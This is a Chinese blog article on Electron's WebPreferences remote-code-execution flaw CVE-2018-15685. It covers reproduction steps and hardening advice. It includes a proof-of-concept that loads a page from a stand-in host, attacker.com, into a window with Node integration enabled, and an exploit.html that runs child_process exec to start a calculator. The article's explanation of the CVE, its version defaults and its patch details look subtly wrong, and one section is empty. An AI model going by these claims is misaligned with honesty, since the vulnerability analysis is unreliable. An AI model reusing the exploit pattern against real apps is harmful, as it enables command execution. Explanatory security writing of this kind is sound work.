怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

发布时间:2021-12-29 15:47:36 作者:柒染
来源:亿速云 阅读:493
# 怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

## 一、漏洞背景

2018年10月,Electron框架曝出一个高危远程代码执行漏洞(CVE-2018-15685),该漏洞源于WebPreferences参数的配置缺陷,攻击者可通过构造恶意网页或应用程序,在受害者主机上执行任意命令。影响版本包括Electron 1.8.x至3.0.x系列,波及大量基于Electron开发的应用程序(如VS Code、Slack、Discord等)。

## 二、漏洞原理分析

### 1. WebPreferences关键参数
Electron的`BrowserWindow`构造函数接受`webPreferences`配置对象,其中存在两个高危参数:
```javascript
{
  nodeIntegration: boolean,     // 是否启用Node.js集成
  sandbox: boolean              // 是否启用沙箱隔离
}

2. 漏洞触发条件

当同时满足以下配置时可能触发漏洞: - nodeIntegration: true(默认false) - sandbox: false(默认true in Electron ≥5.0) - 窗口加载了远程内容(如loadURL()加载外部URL)

3. 攻击链示例

// 恶意构造的BrowserWindow配置
const win = new BrowserWindow({
  webPreferences: {
    nodeIntegration: true,
    sandbox: false
  }
})
win.loadURL('https://attacker.com/exploit.html')

攻击者可在exploit.html中植入Node.js代码:

<script>
  require('child_process').exec('calc.exe')
</script>

三、漏洞复现步骤

环境搭建

  1. 安装受影响版本(如Electron 2.0.18):
npm install electron@2.0.18
  1. 创建漏洞测试代码:
// main.js
const { app, BrowserWindow } = require('electron')

app.on('ready', () => {
  const win = new BrowserWindow({
    webPreferences: {
      nodeIntegration: true,
      sandbox: false
    }
  })
  win.loadURL('file://' + __dirname + '/exploit.html')
})
  1. 编写恶意HTML:
<!-- exploit.html -->
<script>
  const { exec } = require('child_process')
  exec('open /Applications/Calculator.app')
</script>

复现结果

执行electron main.js将弹出计算器,证明命令执行成功。

四、修复方案

官方补丁

Electron团队通过以下方式修复: 1. 在3.0.10+版本中强制sandbox: true时禁用nodeIntegration 2. 新增contextIsolation默认启用(Electron 12+)

开发者应对措施

// 安全配置示例
new BrowserWindow({
  webPreferences: {
    nodeIntegration: false,     // 显式禁用
    sandbox: true,             // 强制沙箱
    contextIsolation: true,    // 启用上下文隔离
    webSecurity: true          // 启用Web安全策略
  }
})

其他防御手段

  1. 内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
  1. 白名单控制加载的URL

五、漏洞深度解析

沙箱逃逸机制

nodeIntegration启用且沙箱关闭时,渲染进程获得完整Node.js环境访问权限。Electron的进程模型如下:

主进程(Node.js环境)
  ↓ IPC通信
渲染进程(默认受限)

漏洞使得渲染进程突破隔离限制,直接访问系统API。

真实案例影响

六、静态检测方法

代码审计要点

  1. 检查所有BrowserWindow实例化
  2. 追踪webPreferences参数来源
  3. 检测动态URL加载逻辑

使用Electron安全工具

npm install -g @doyensec/electronegativity
electronegativity -i /path/to/app

七、总结与建议

漏洞启示

  1. 客户端框架的安全隔离机制至关重要
  2. 默认安全(Secure by Default)原则的价值
  3. 供应链安全需要持续监控

开发规范

  1. 始终使用最新稳定版Electron
  2. 最小化Node.js集成范围
  3. 实施多层级防御(沙箱+CSP+进程隔离)

:截至2023年,新版Electron(≥25.0)已默认启用更严格的隔离策略,但历史版本应用仍需排查此漏洞。

参考资源

  1. Electron官方安全公告
  2. CVE-2018-15685详情
  3. OWASP Electron安全指南

”`

(全文约1250字,实际字数可能因Markdown渲染略有差异)

推荐阅读:
  1. 详解Electron如何整合React使用搭建开发环境
  2. Windows下支持自动更新的Electron应用脚手架的方法

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

electron cve-2018-15685 webpreferences

上一篇:Java内存模型的规定是什么

下一篇:域名解析中TTL指的是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》